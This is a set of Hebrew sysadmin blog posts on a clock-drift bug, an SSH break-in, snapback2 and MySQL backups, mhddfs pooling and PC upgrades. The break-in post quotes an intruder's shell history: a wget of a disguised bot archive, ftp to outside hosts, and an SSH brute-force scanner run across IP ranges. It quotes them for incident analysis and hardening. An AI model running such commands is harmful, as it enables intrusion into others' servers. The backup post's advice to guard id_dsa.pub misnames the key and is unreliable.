בעיית שעון בשרתי לינוקס

לאחרונה נתקלתי בבעיה עיקשת וקשה לפיתרון:
השעון של אחד השרתים שאני אחראי אליהם החליט שדיוק זה לא הקטע שלו, ונדד משהו כמו ארבע שעות בכל יום.
סינכרון NTP יומי גרם לקפיצת זמן של 4-5 שעות בכל פעם, וברור היה שצריך לפתור את הבעיה האמיתית.
החשוד המיידי בבעיות שעון בדרך כלל הוא הBIOS או הסוללה של הCMOS, והפתרון הכי זריז אם זו אכן הבעיה היא להעביר את הדיסק של השרת למכונה אחרת.
חברת ההוסטינג עשתה את זה, והתברר שזה לא פתר את הבעיה.
כדי לעשות דברים יותר מעניינים, אני אוסיף ואגיד שיש בחווה ארבעה שרתים, חלקם עם חומרה כמעט זהה לזו של השרת המאחר והם לא סבלו מהבעיה.
בנוסף, כל השרתים הריצו דביאן Etch עם קרנל 2.6.18 סטנדרטי של דביאן (שהיא הגרסא הרשמית של דביאן Etch), בהבדל אחד: המכונה המאחרת הריצה קרנל של 64 ביט.
לא משהו שאמור לגרום לכזו בעיה, אבל בכל זאת הבדל.
השוואה של קבצי הקונפיגורציה של הקרנלים (בדיביאן קרנלים סטנדרטיים מגיעים עם קובץ הקונפיגורציה שאיתו קומפל הקרנל והוא יושב בספריית /boot) הראתה הבדל מעניין בין הקרנל המאחר לבין אלו שלא:
הקרנל המאחר לא קומפל עם GENERIC_TIME, והאחרים כן.
עדיין לא מוכיח כלום, אבל מעניין.
מסתבר שבלינוקס יש כמה מקורות לעדכון השעון הפנימי, חלקם מדוייקים יותר, חלקם מדוייקים הרבה פחות.
המקורות של הקרנל שרץ כרגע זמינים בקובץ
[code]
/sys/devices/system/clocksource/clocksource0/available_clocksource
[/code]
במכונה המאחרת היה זמין רק מקור אחד עם שם מוזר: jiffies
שהוא גם המקור הכי לא מדוייק שיש (למעשה הקרנל מעדכן איזה משתנה פנימי בקצב שאמור להיות תואם את המציאות, מה שלא ממש עובד)

במכונות האחרות היו זמינים כמה מקורות: acpi_pm jiffies tsc pit

ברגע שעידכנתי את הקרנלים בכל המכונות לגרסא 2.6.26, הבעיה נפתרה ולכל השרתים היו את אותם מקורות שעון.

סיסמאות קלות מדי

לא כיף לקום בבוקר ולראות בתיבת האימייל שלכם הודעה על כך שיצאה התקפת SSH מהשרת שלכם ושהוא כנראה נפרץ.
ככה בדיוק התחיל היום שלי אתמול.

נכנסתי לשרת, חצי נבוך וחצי לא מאמין – וראיתי שאחד המשתמשים מחובר.
הצצתי בקובץ .bash_history שלו, שמכיל את רשימת הפקודות האחרונות שהוא הריץ (אם הוא לא מספיק חכם כדי למנוע מBASH לרגל אחריו, הוא לא האקר מי יודע) , וזה אכן נראה חשוד.
הנה חלק ממה שעשה התכשיט:
[code]
wget **.***.com/botflod.jpg
tar zxvf botflod.jpg
cd …
ls -a
rm -rf *.seen
ls -a
vi mech.set
vi 1
./httpd
ps x
kill -9 21036
w
cat vuln.txt
cat /proc/cpuinfo
cd ..
ls -a
ftp -v alexhk.ueuo.com
ftp -v alexhk.ro
tar zxvf ssh.tgz
cd ssh
./a 199.3
./a 82.211
./a 222.126
./a 89.171
./a 71.249
./a 218.80
./a 218.106
./a 194.116
[/code]

שיניתי את הסיסמא של המשתמש, והרגתי את כל התהליכים שרצו תחת שם המשתמש שלו (מה שכמובן ניתק את המשתמש)
[code]
killall -u username
[/code]
מכיוון שאני די פרנואידי (אבל מסתבר שלא מספיק) בכל מה שקשור לאבטחה, תכננתי את השרת ככה שמשתמש רגיל לא יכול לעשות שום דבר חוץ מלדפוק את עצמו, ולכן הייתי יותר רגוע כשהבנתי שהוא לא השיג גישת ROOT.
אז איך הוא נכנס?

פשוט מאוד – סיסמא קלה.
שם המשתמש שייך למשתמש חדש שבחרתי לו סיסמא קלה והגדרתי שהוא חייב לשנות אותה בכניסה הראשונה.
המשתמש האמיתי עדיין לא נכנס, ולכן הסיסמא הקלה נשארה.

מה שהפורץ עשה אחרי שהוא ניחש את הסיסמא זה להפעיל סורק SSH שהתחבר לכתובות IP באופן שיטתי (אפשר לראות שהוא ניסה תחומי כתובות שלמים) ופשוט ניחש סיסמאות לפי קובץ סיסמאות מוכן.
מספיק שהוא יצליח להיכנס בשבריר אחוז מהנסיונות כדי להרחיב את רשימת השרתים שיש לו אליהם גישה.
בטח על חלק מהשרתים הוא גם מצליח להשיג גישת ROOT באותה שיטה.

אז מה עושים כדי להימנע מזה בעתיד?
קודם כל, לא בוחרים סיסמאות קלות, אפילו לא לזמן קצר (שעלול להמתח לזמן ארוך בלי שתדעו).
בשביל זה יש כלים פשוטים שמייצרים סיסמאות מאובטחות.
הבעיה עם סיסמאות מאובטחות היא שבדרך כלל קשה מאוד לזכור אותן.
יש כמה כלים שיודעים לייצר סיסמאות שגם קל לזכור, למשל gpw (Generate password) שנמצא בחבילת דביאן עם שם תואם.
gpw מייצר סיסמאות שניתן להגות, מה שעוזר לזכור אותן, למשל:
[code]
$gpw
outskyst
omaticts
liestogg
erlishit
duckslyt
ityingli
fackersa
sappityr
rachecke
lithhoss
[/code]
אז בתור התחלה, אפשר להשתמש בgpw כדי לבחור סיסמאות למשתמשים חדשים.

צעד מתבקש נוסף הוא לדרוש מורכבות מינימלית מסיסמאות של משתמשים, בשביל זה אפשר להשתמש בPAM ובCracklib.
כמו תמיד עם דביאן, זה יותר פשוט ממה שזה נשמע:
[code]
apt-get install libpam-cracklib
[/code]

ואז עריכת הקובץ /etc/pam.d/common-password והוספת הערה לפני השורה הראשונה, והסרת ההערות מהשתיים האחרות:
[code]
#password required pam_unix.so nullok obscure min=4 max=8 md5

password required pam_cracklib.so retry=3 minlen=6 difok=3
password required pam_unix.so use_authtok nullok md5
[/code]

אפשר גם לדרוש החלפה של הסיסמא לכל היותר תוך מספר ימים מסויים על ידי עריכה של /etc/login.defs ושינוי הערך של PASS_MAX_DAYS

בדיקה נוספת שאפשר לבצע היא בדיקה שיטתית של הסיסמאות במערכת שלכם הן חזקות או לא על ידי הפעלת תוכנה שמנסה לפרוץ אותן באופן קבוע.
תוכנה כזו היא john המרטש שמנסה לפרוץ את הסיסמאות המקומיות ממש כאילו היא האקר עויין, רק שאם היא מצליחה היא תדווח לכם ואם תרצו גם למשתמש הספציפי שהסיסמא שלו חלשה.
מכיוון שהוא רצה כROOT היא יכולה לבצע את נסיון הפריצה ישירות על הקובץ, מה שיהיה יעיל יותר מאשר לנסות להיכנס דרך SSH.
בהתקנת ברירת המחדל בדביאן ג'והן המרטש מתקין ג'וב קרון שרץ בלילה בין 1 בלילה ל7 בבוקר (זמן שרת), אבל צריך לאפשר אותו על ידי הסרה של ההערות מהשורות הבאות בקובץ /etc/cron.d/john (פשוט מחיקת ה# המקדימים)
[code]
#00 1 * * * root [ -x /usr/share/john/cronjob ] && nice /usr/share/john/cronjob start
#00 7 * * * root [ -x /usr/share/john/cronjob ] && /usr/share/john/cronjob stop
[/code]

כלי נוסף שאפשר להתקין הוא tripwire שעוקב אחרי שינויים בלתי קרואים לקבצי מערכת.
הזמן הנכון להתקין את tripwire הוא לפני שהמערכת שלכם נפרצה (ואני מדבר על פורץ שהשיג גישת ROOT).
אחרי ההתקנה עם apt-get עקבו אחרי ההוראות הפשוטות פה כדי ליצור את בסיס הנתונים שמולו tripwire יזהה שינויים בעתיד.
מומלץ מאוד לאכסן את בסיס הנתונים של tripwire במקום ללא גישת כתיבה כדי למנוע מתוקף עם גישת ROOT לשנות את בסיס הנתונים ובכך להסתיר את השינויים שהוא עשה.

אני בטוח שיש עוד הרבה דברים פשוטים שאפשר לעשות, מה אתם עושים?

גיבויים בלינוקס

אם יש מישהו שלא עושה טעויות, ושהחומרה שלו חסינה לתקלות, הוא יכול לדלג על הפוסט הזה.
אוקיי, מי שנשאר טועה לפעמים ומוחק דברים שלא היה צריך למחוק, ולפעמים גם ההרדיסק שלו קורס בלי התגרות.
כמות העבודה שאפשר לאבד בקריסה כזו או במחיקה לא מכוונת הולכת וגדלה ככל שהכוננים הקשיחים גדלים.
לפעמים אפשר לשחזר את הנתונים שאבדו עם עבודה חוזרת, ולפעמים מה שאבד, אבד לנצח.
גיבוי ידאג למזער את הנזק שנגרם מטעות אנוש או מתקלת חומרה לחלון הזמן שמרגע התקלה לזמן שבו בוצע הגיבוי האחרון.
גיבויים ידניים נועדו להיכשל ברגע האמת כי אנשים הם עצלנים ולא טובים בביצוע של פעולות שחוזרות על עצמן לאורך זמן אם אין איזה גורם שידאג שהם ימשיכו.
במילים אחרות, אם תתחילו בגיבויים ידנייים היום, בעוד שנה תגלו שאתם לא מגבים בצורה תדירה מספיק, אם בכלל.
הפיתרון הוא גיבויים אוטומטיים לחלוטין, שלא דורשים עבודת תחזוקה ידנית.

גיבוי מערכת הקבצים
יש הרבה שיטות לגבות את מערכת הקבצים.
היסטורית, השיטה הנפוצה היתה גיבוי הקבצים לטייפ גיבוי, בפורמט TAR, למעשה, השם של TAR הוא קיצור של Tape archive.
מה שנהוג לעשות בשיטה הזו זה לשמור את הכל בפעם הראשונה, ובפעמים הבאות לשמור רק את הקבצים שהשתנו.
השיטה הזו נקראת "גיבוי מלא + גיבוי הדרגתי", והחיסרון שלה הוא שכדי לשחזר את מה שהיה לפני שבוע, צריך ללכת לגיבוי המלא הכי קרוב ללפני שבוע (אולי בן חודשיים), ולעבור על כל הגיבויים מאותו רגע כדי לבנות את התמונה של הרגע הנתון.
לא כיף, במיוחד אם אנחנו לא בטוחים בתאריך המדוייק שבו הקובץ היה "נכון".

גרסא נוספת של הגיבוי הזה היא "מלא + דיפרנציאלי", בשיטה הזו גיבוי מלא נשמר, וכל גיבוי חלקי שאחריו הוא יחסי לגיבוי המלא, ולא לגיבוי החלקי האחרון. זה אומר שקבצים שהשתנו אחרי הגיבוי המלא יאוכסנו שוב ושוב, מצד שני יהיה הרבה יותר קל לשחזר את הגיבוי לרגע נתון.

הגיבוי התמים הוא פשוט להעתיק את הקבצים, כמו שהם, לספריה אחרת (ואולי למחשב אחר).
הבעיה עם זה היא שקבצים שלא משתנים יתפסו מקום כל פעם מחדש, מה שאומר שסך הכל הצריכה של המקום תהיה גבוהה מאוד.
הפתרון הוא לאכסן רק קבצים חדשים, אבל איך אפשר יהיה לשמור על הפשטות של השיטה התמימה?
אם אבד לי קובץ, אני רוצה לגשת לגיבוי של אתמול ולמצוא אותו שם, גם אם הוא לא השתנה כבר חודש.
כדי להנות משני העולמות, אפשר להשתמש בשיטה הבאה:
נגבה עם rsync, ולפני הגיבוי הבא, נעתיק את הספריה שגיבינו למקום חדש, אבל במקום להעתיק ממש את הקבצים ניצור hard-links לקבצים, ואז נגבה שוב עם rsync.
ברגע שrsync יזהה שקובץ השתנה, הוא יצור קובץ חדש במקום הלינק, ולא יפגע בקובץ המקורי שימשיך להיות זמין תחת הספריה המקורית שאליה הוא נכתב.
הרעיון הוא של מייק רובל, שפרסם אותו ב2004. מאז פותחו לא מעט סקריפטים שממשמשים את השיטה. אני משתמש בsnapback2 כדי לבצע את הגיבויים שלי.
כדי להתקין את snapback2, עקבו אחרי ההוראות האלו:

[code lang="bash"]
wget http://www.perusion.com/misc/Snapback2/Snapback2-0.913.tar.gz
tar xzf Snapback2-0.913.tar.gz
cd Snapback2-0.913/
cpan -i Config::ApacheFormat
perl Makefile.PL && make && make test && make install && echo great success
[/code]
cpan הוא מנגנון ניהול החבילות של שפת פרל. אם לא הפעלתם את cpan לפני כן, הוא ישאל כמה שאלות די קלות לפני שהוא יתקין את Config::ApacheFormat.
שימו לב לפלט של הפקודה האחרונה, אם הוא לא מסתיים ב "great success" אז היתה בעיה בהתקנה.
snapback2 עובד דרך הרשת, מה שאומר שאפשר לגבות איתו בקלות מכונה אחרת או את המכונה המקומית, אבל קודם צריך לדאוג לכך שנוכל להכנס בלי סיסמא (זהירות עם זה, צריך לשמור על הקובץ id_dsa.pub מכל משמר, כי מי שישיג אותו יוכל להכנס למכונה שאתם מגבים!).
[code lang="bash"]
ssh-keygen -t dsa
cat ~/.ssh/id_dsa.pub | ssh root@other_machine "cat – >> ~/.ssh/authorized_keys"
[/code]

קובץ ההגדרות /etc/snapback/snapback2.conf של snapback נראה ככה:
[code lang="xml"]
Hourlies 2
Dailies 7
Weeklies 4
Monthlies 4
AutoTime Yes

AdminEmail root

LogFile /var/log/snapback.log
ChargeFile /var/log/snapback.charges

SnapbackRoot /etc/snapback

DestinationList /root/backup


Exclude /cdrom
Exclude /dev
Exclude /home/*/temp
Exclude /media
Exclude /proc
Exclude /tmp
Exclude /var/cache
Exclude /var/log
Exclude /var/lib/mysql
Exclude /root/backup # Important not to backup the backup 🙂

Directory /

[/code]

הקובץ הזה מגבה את כל מה שרלוונטי, ואולי כמה דברים לא רלוונטים שעדיין לא הכנסתי לExclude.
ויוצר מבנה ספריות דומה לזה:
[code lang="xml"]
`– root@server.com
|– daily.0
| |– bin
| |– boot
| | …..
| `– www -> /var/www
|– daily.1
| |– bin
| |– boot
| | …..
| `– www -> /var/www
|– daily.2
| |– bin
| |– boot
| | …..
| `– www -> /var/www
|– hourly.0
| |– bin
| |– boot
| | …..
| `– www -> /var/www
`– hourly.1
|– bin
|– boot
| …..
`– www -> /var/www
[/code]

כדי להריץ את הגיבוי אוטומטית פעם ביום ניצור קובץ הרצה בcron.daily
[code lang="bash"]
echo "#! /bin/sh" > /etc/cron.daily/snapback2
echo "/usr/bin/snapback2" >> /etc/cron.daily/snapback2
chmod +x /etc/cron.daily/snapback2
[/code]
חדי העין ישימו לב שלא גיביתי את /var/lib/mysql, שמכילה את בסיסי הנתונים של MySQL.
הסיבה היא שלא מומלץ לגבות את בסיס הנתונים של MySQL על ידי העתקת הקבצים, במיוחד אם השרת רץ (והוא רץ כל הזמן), כדי לא לתפוס קבצים תוך כדי שהם נכתבים (מה שיגרום לגיבוי של בסיס הנתונים להיות דפוק).
גיבוי MYSQL
אני משתמש בסקריפט הזה, שמגבה את אל בסיסי הנתונים אל /var/backups/mysql, ויוצר מבנה ספריות דומה לזה:
[code lang="xml"]
|– daily
| |– omry_blogs
| | |– omry_blogs_2008-09-21.Sunday.sql.gz
| | |– omry_blogs_2008-09-22.Monday.sql.gz
| | |– omry_blogs_2008-09-23.Tuesday.sql.gz
| | |– omry_blogs_2008-09-24.Wednesday.sql.gz
| | |– omry_blogs_2008-09-25.Thursday.sql.gz
| | `– omry_blogs_2008-09-26.Friday.sql.gz
| | `– omry_paypal_2008-09-26.Friday.sql.gz
| `– omry_wordpress_en
| |– omry_wordpress_en_2008-09-21.Sunday.sql.gz
| |– omry_wordpress_en_2008-09-22.Monday.sql.gz
| |– omry_wordpress_en_2008-09-23.Tuesday.sql.gz
| |– omry_wordpress_en_2008-09-24.Wednesday.sql.gz
| |– omry_wordpress_en_2008-09-25.Thursday.sql.gz
| `– omry_wordpress_en_2008-09-26.Friday.sql.gz
|– monthly
`– weekly
[/code]
כמובן שהספריות האלו מגובות אוטומטית במסגרת הגיבוי של מערכת הקבצים.
כדי להשתמש בסקריפט, יש לשים אותו ב/etc/cron.daily ולערוך אותו ככה ששם המשתמש והסיסמא יהיו אלו של משתמש שמורשה לגשת לכל בסיס הנתונים. לא לשכוח לשנות את ההרשאות של הקובץ ככה שרק root יוכל לקרוא אותו.
כדי לחסום את הנפח שהגיבויים האלו תופסים, ניצור בcron.weekly סקריפט שמוחק גיבויי mysql ישנים מ60 יום:
[code lang="bash"]
echo "#!/bin/sh" > /etc/cron.weekly/delete_old_mysql_backups
echo "find /var/backups/mysql/ -type f -mtime +60 -exec rm {} \;" >> /etc/cron.weekly/delete_old_mysql_backups
chmod +x /etc/cron.weekly/delete_old_mysql_backups
[/code]

לשם הבטיחות, כדאי לגבות למחשב אחר, למשל זה שבבית, ככה שגם אם מתרסק הדיסק של השרת, השחזור יהיה אפשרי.
לשם הנוחות, כדאי לגבות גם לספריה מקומית את כל השרת, ככה שגם אם מחקתם קובץ גדול, לא תצטרכו להעלות אותו מהגיבוי המרוחק.

זבלן הלוגים

לתשומת לב הנוסעים צפונה:
שלשום השרת שלי בסלון נתקע, רסטרטי אותו, וקיבלתי הודעות שגיאה על חוסר מקום.
מחיצת השורש שלו בגודל של 30 ג'יגה בלבד, אבל זה אמור להספיק כי אין לא כותב לשם שום דבר מיוחד.
מחקתי איזה 2 ג'יגה של קוד מספריית הsrc, (שזה קוד של כל מני דברים שהורדתי וקימפלתי בעבר) בתקווה לקנות כמה חודשים של שקט.
היום בבוקר, פוף, עוד פעם אין מקום.
הפעם החלטתי לרדת לעומק העניין..
הניחוש הראשון היה כמובן ספריית הלוגים של המערכת /var/log..
syslog תפס 2.6 ג'יגה, וdaemon.log תפס 6.4 ג'יגה.
נפח עצום, במיוחד למחיצה של 30GB, ובמיוחד לאור זה שהכל מהשבוע האחרון (logrotate כיון את daemon לפני שבוע, והוא היה קטן ונחמד).
בתוך daemon.log ראיתי ערמת הודעות כאלו:
[code]
Aug 29 10:36:46 home famd[3423]: fd 4 message length 1347375956 bytes exceeds max of 4136.
[/code]
נראה שfamd התחרפן קשות..
famd הוא File Alteration Monitor Daemon, פתרון וותיק למעקב אחרי שינויים בקבצים, ולא ממש נדרש בימינו כי inotify החליף אותו.
בכל אופן, אני בטוח לא צריך אותו, אז העפתי את הנבלה ואיפסתי את הלוגים.

ובא שלום וגואל, ומשיח על חמור שחור.

חולץ מאגר תגובות חבוי

לאחרונה יותר ויותר אנשים התלוננו שהבלוג אכל את התגובה שלהם.
למרבה הצער, לא ראיתי ברשימה של SK2 את התגובות הנ"ל, למעשה רשימת הספאם שלו היתה ריקה לגמרי.
לפני חמש דקות החלטתי לנסות לאפס את התוסף אחרי שקיבלתי עוד אימייל על ספאם שלאחריו הרשימה היתה ריקה.
לחצתי על כל הכפתורים האדומים הגדולים, ואחרי זה פתאום אני רואה את הרשימה של כל הספאם שנלכד לאחרונה.
אני אנסה לעבור עליו ולאשר את מה שרלוונטי.
אם הבלוג ממשיך לאכול לכם תגובות נא להודיע לי. (גם אימייל טוב, יש את האימייל בדף האודות).

ניהול מלאי חומרה – Inventory

לפני כחודש שאלתי אתכם (קוראי הלא שימושיים בעליל) אם אתם מכירים פיתרון לניהול חומרה.
לא קיבלתי הצעות קונקרטיות.
אז חיפשתי שוב, ומצאתי את Inventory, שנותנת כמעט בדיוק את מה שרציתי.
Inventory כתובה בPHP, ומשוחררת ברשיון GPL.

היא גמישה מאוד, ומאפשרת להגדיר סוגי חומרה כאוות נפשכם, להגדיר ספקים, להגדיר רכיבי חומרה ספיצפיים (ולציין ממי הם ניקנו, מתי, מה אורך האחריות וכו'), ולהרכיב מהם מחשבים.
בנוסף היא תומכת גם בניהול תוכנות ורשיונות, אבל לי אישית זה פחות שימושי.

האפשרות שחסרה לי ביותר שם היא האפשרות להצמיד מסמכים (צילומים של קבלות ותעודות אחריות, צילומים של רכיבי חומרה וכו'), לכל רכיב.
inventory.jpg

איחוד פשוט של מספר מערכות קבצים בלינוקס

מכירים את הבעיה שנוצרת כשקונים דיסק חדש לאכסון?
איך מארגנים את הקבצים? מה נשאר בישן? מה עובר לחדש? איפה יש מקום לכתוב קבצים חדשים?
ונניח שאיפה שיש מקום לסרט החדש זה דווקא לא בדיסק עם אוסף הסרטים?
יש כמה פתרונות לבעיה הזו.
הפתרון הטריוואלי ביותר הוא להתעלם ממנה ופשוט לכתוב להיכן שיש מקום.
כדי לשפר את המצב אפשר להשתמש בלינקים סימבוליים שיכולים לגרום לכל העסק להראות כאילו הוא בספריה אחת.
ככה יותר קל למצוא את מה שמחפשים (העונה הרביעית של לוסט, היא בספרית data1 או data2??)
ברגע שנגמר המקום אפשר להזיז ערמות גדולות של קבצים בין הדיסקים כדי לעשות מקום וסדר.
הגישה הזו עובדת, אבל היא די מעצבנת כי היא דורשת ניהול שוטף (בחירת מקום לשמור, אירגון של לינקים סימבוליים, הזזה מפעם לפעם כדי לפנות מקום וכו').

פיתרון חלופי הוא להשתמש בLVM, שמאפשר יצירת Volume groups שמשתרעים על כמה מחיצות והתייחסות אליהן כמחיצה אחת.
LVM עובד ברמת הבלוקים הלוגיים של הדיסק. למרות שכפתרון הוא פיתרון יפה ושקוף, יש לו כמה מגרעות רציניות, בקצרה:
מכיוון שהוא עובד ברמה הבלוקים הלוגית, הוא לא מבטיח שקובץ (שמוגדר בכלל ברמת מערכת הקבצים) ישב על דיסק בודד.
התופעה הזו גורמת לכך שאם אחד הדיסקים שמרכיבים מערך LVM מת, הנתונים של כל המערכת עלולים להידפק (גם בדיסקים שלא נפגעו) כי קבצים יכולים לשבת על יותר מדיסק אחד, ומספיק שאחד הדיסקים יעלם כדי שהקובץ יפגע. בפוסט הזה יש עוד מידע על בעיות עם LVM.

אז אם לא פתרון ברמת הבלוקים, נשאר פתרון ברמת מערכת הקבצים.
mhddfs הוא פתרון כזה בדיוק.
הרעיון הוא שמאחדים כמה מערכות קבצים, אחת על השניה בoverlay. כשפותחים קובץ הקובץ שיפתח יהיה הקובץ במחיצה הראשונה (אם במקרה אותו קובץ מופיע באותה באותה ספריה ביותר ממערכת קבצים אחת, נראה רק את הראשון (שיסתיר את כל האחרים).
כשכותבים קובץ, mhddfs עושה משהו מעניין:
כשיוצרים קובץ, המערכת תבחר אוטומטית את המחיצה עם הכי הרבה מקום בשבילו. בנוסף, אם במהלך כתיבת הקובץ נגמר המקום, הקובץ מוזז בצורה שקופה למחיצה עם מקום (כמובן שאם אין כזו מחיצה, האפליקציה מקבלת את השגיאה הרגילה).
אחד היתרונות הוא שהקבצים עדיין נגישים דרך המחיצות המקוריות, ככה שגם אם hddfs לא עובד משום מה, הנתונים עדיין שם ונגישים.
mhddfs ממומש כמערכת קבצים במרחב המשתמש (FUSE), מה מה שנותן לה יתרונות נוספים, למשל – משתמשים יכולים להשתמש בה חופשי בלי שמנהל המערכת יגדיר מראש את התצורה בקובץ fstab.

[code]
# mhddfs /mnt/500gb/,/mnt/200gb,//mnt/160gb /storage -o allow_other
[/code]

יוצר מערכת קבצים חדשה ב/storage, בנפח כולל של 775GB עם מקום פנוי כסכום המקום הפנוי בשלושת המחיצות:
[code]
# df -h
Filesystem Size Used Avail Use% Mounted on
/dev/sdc1 459G 258G 179G 60% /mnt/500gb
/dev/sdb2 159G 17G 142G 11% /mnt/200gb
/dev/sda3 158G 138G 21G 87% /mnt/160gb
/mnt/500gb;/mnt/200gb;/mnt/160gb 775G 412G 341G 55% /storage
[/code]

כדי להגדיר את זה בfstab, נשתמש בשורה המוזרה הבאה (תחביר סטנדרטי לfuse) בfstab:
[code]
mhddfs#/mnt/500gb,/mnt/200gb,/mnt/160gb /storage fuse defaults,allow_other 0 0
[/code]

דרך חבילת הדביאן היומית.

שידרוג סיבובי

יש לי שני מחשבים:
מחשב עבודה בחדר, שבו אני משתמש באופן שוטף לתכנות משחקים גלישה וכו', ומחשב בסלון, שמשמש כשרת/מדיה סנטר.
המחשב בחדר הוא החזק מבין השניים, כי עליו אני עובד יותר ובעיקר כי הוא משמש גם למשחקים, והוא התברך במעבד פנטיום D דו ליבתי, 2 ג'יגה זכרון מהיר וכרטיס מסך ג'יפורס 7900GT שהיה בצעירותו – לפני שנתיים שלמות – ממש מהיר, אבל לא סוחב בכבוד את המשחקים של ימינו. בנוסף יש לו מסך 19" CRT שכבר עבר זמנו.
המחשב בסלון הוא חלש יותר, ומכיל מעבד אתלון 3200XP, כרטיס מסך מצ'וקמק במיוחד(הכי זול שמצאתי עם יציאת S-Video מתישהו לפני ארבע שנים), ו512 מגה זכרון איטי במיוחד.
המחשב הזה משמש כמכונת מדיה (הוא מחובר לטלווזיה ואני רואה עליו סרטים וסדרות), שרת דואר, שרת ג'אבר, שרת HTTP, שרת MySQL שרת הורדות (מוריד סדרות סדרתי), וכו' וכו'. עם הזמן הוא התחיל לקרטע יותר ויותר בעיקר עקב חוסר זכרון, למול דרישות הולכות וגדלות שלי ממנו.
שני המחשבים כבר לא כך כל עומדים בדרישות שלי, ולכן הגיע הזמן לשדרג.
בדרך כלל אני קונה חומרה בצורה ספורדית ומתקין איפה שצריך (הרדיסק פה, צורב סידירום שם), אבל שידרוגים מלאים דורשים תוכנית יותר יסודית.
מטבע הדברים, לא הייתי רוצה שהמחשב בסלון יהיה יותר מהיר מהמחשב בחדר, ולכן אני תמיד משדרג את המחשב בחדר, מתקין את החומרה שהתפנתה במחשב בסלון ומוציא לגמלאות את החומרה מהמחשב בסלון.

אתמול (שישי) בבוקר הגיעה החבילה הגדולה במיוחד, והשימחה היתה גדולה.
boxed-in.jpg
החבילה המרשימה כוללת:
מחשב מורכב לאחותי, עליו לא נרחיב.
מסך BenQ 24 LCD G2400W
זכרון A-data 4GB DDR2 PC6400 800MHZ CL4
לוח אם Gigabyte GA-EP35-DS3R Intel® P35 Express Chipset LGA 775
מעבד Intel Core 2 Duo E8400 3GHz 1333FSB 6MB Box 45nm
כרטיס מסך INNOVISION Geforce 9800GTX 512MB DDR3 PCI-E
ספק כוח Corsair VX Series 550W PSU

כמובן שקודם כל התקנתי את המסך, רק בשביל לראות איך זה מסך 24". ככה זה:
monitor.jpg
התמונה חדה (לא רואים בצילום), והרזולוציה היא 1920X1200.
למרבה הצער גיליתי פיקסל שרוף (תקוע על כחול), ואני מתכוון להחליף את המסך.

הצעד הבא הוא לשדרג את המחשב שבחדר עם כל החומרה הנפלאה הזו.
ככה המחשב נראה לפני:
computer1.jpg
וככה נראיתה החומרה החדשה לפני:
stuff.jpg
פירקתי את הספק הישן, פירקתי את המאוור CPU הענק כד לחלץ את הספק, הרכבתי את הספק החדש, פירקתי את הכרטיסים, ההרדיסקים, ואת לוח האם הישן, הרכבתי את המעבד והזכרון על לוח האם החדש, הרכבתי את לוח האם החדש בתוך המארז, חיברתי את הלוח לחשמל מהספק, הרכבתי את הכרטיסים, ואת ההרדיסקים, וכשהכל היה מוכן, חיברתי את הספק לחשמל ו… לא נדלק.

מסקנה : כשמרכיבים מחשב, לוודא שהם נדלק אחרי שמחברים את לוח האם. עדיף לא לחבר את כולו ולגלות שהוא לא עובד.

השביזות גדולה, אבל צריך לבדוק מה קורה פה..
פירקתי את הכרטיסים, את ההרדיסקים, את המאוור של המעבד (שמנע גישה לחיבור החשמל הקטן – ATX 12V), ניסיתי שוב, ועדיין לא נדלק.
בשלב הזה זה יכול להיות או בעיה באחד החיבורים המעצבנים מהמארז אל לוח האם, או בעיה בספק, או בעיה בלוח האם.
שיחקתי עם החיבורים ללוח האם. עדיין לא נדלק.
חיברתי את הספק הישן, פתאום נדלק.
נראה שהספק אשם.
ניסיתי שוב את הספק החדש, ופתאום המערכת החליטה להידלק.
שמח וטוב לבב, הרכבתי מחדש את ההרדיסקים ואת הכרטיסים והפעלתי את המחשב.
נסיון ראשון נכשל עם שגיאה 17 מGRUB.
יש לי שני כוננים קשיחים במחשב הזה, אחד בחיבור IDE ואחד בחיבור SATA. מסתבר שהמחשב החליט שהוא מבצע BOOT מהSATA – מה שלא עובד כי הGRUB שם שבור.
כדי לוודא את זה, ניתקתי את כונן הSATA, וניסיתי. GRUB עלה הפעם – בחרתי בחלונות (עם כל הכבוד לדביאן, אני מעדיף לראות איך הכרטיס מסך מתפקד על חלונות), והוא עלה בהצלחה.
כמובן שחלונות לא מזהה את החומרה שעל לוח האם כמו שצריך. הוא לא רואה את בקר הSATA,כרטיס הרשת שעל לוח האם, טוב – אז צריך דרייברים, זה לא חדש.
למרבה הצער, הלוח אם החדש תומך רק בחיבור IDE אחד, מה שעושה לי קצת בעיה כי הצורב במחשב הזה הוא בממשק IDE, וכאמור גם ההרדיסק הראשי ממנו אני מבצע אתחול.
טוב, הכנסתי את הDVD (דרייברים על DVD!?) למחשב בסלון, והעתקתי את הכל לדיסק און קיי, חזרתי למחשב בחדר, התקנתי את הדרייברים.
העלתי את Assassins creed וראיתי כי טוב, המחשב סוחב כמו ענק.
ככה הוא נראה עכשיו, שימו לב לחוסר באבק – האבק התפזר עלי ועל שאר החדר.
new-comp1.jpg

ביום שבת המשכתי בשידרוגים של המחשב בסלון.
לא אלאה אתכם בפרטים, רק אומר שגם הפעם הרכבתי הכל, המחשב לא נדלק, פירקתי הכל, בהיתי בו, עשיתי פרצופים, החלפתי כבל חשמל ובסוף דברים התחילו לעבוד.
על הדרך גיליתי שיש לי צורב גם במחשב בסלון (קניתי אותו לא מזמן, ולא היה טעם לקנות כונן שלא צורב), אז החלפתי את הצורבים בין המחשבים ובכך פתרתי בעיה נוספת.
בשורה התחתונה שני המחשבים שודרגו, ועובדים מהר מתמיד, ואני מרוצה למרות שנשרף לי הסופ"ש.
למעשה טוב שזה קרה בסופ"ש, כי אם זה היה קורה באמצע השבוע אז הייתי מתעסק עם זה שבוע שלם.

ניהול מלאי חומרה

מאז ומעולם שדרגתי את המחשבים שלי בעצמי.
היום יש לי שני מחשבים בבית, פעם בשנה שנתיים אני קונה חומרה נוספת, בדרך כלל לא ממקום קבוע.
הבעיה שנוצרת היא בעיה ניהולית:
איך יודעים מתי נרכש חלק, ממי, עד מתי הוא באחריות, ובאיזה מחשב הוא נמצא בכלל?

גיליתי את glpi, פרוייקט קוד פתוח מאוד נחמד למנהלי מערכת – אבל היא לא מתאים בדיוק:
הוא מתאים לניהול של מחשבים, ולא של רכיבים.

מה שהייתי רוצה לראות היא תוכנה שתאפשר לי להגדיר רכיבי חומרה שקניתי, ספקים שקניתי מהם, תאריך שבו נקנתה החומרה, אפשרות להצמיד צילום של הקבלה לחומרה הרלוונטית, וכן להגדיר מחשבים ואיזה רכיבים הם מכילים.
מכירים איזו תוכנה שמתאימה לניהול כזה?
(ללינוקס, רצוי עם ממשק ווב).

השדרוגים הם מהשטן

זוכרים שהזמנתי כונן קשיח נוסף וכונן DVD חלופי במקום זה ששבק?
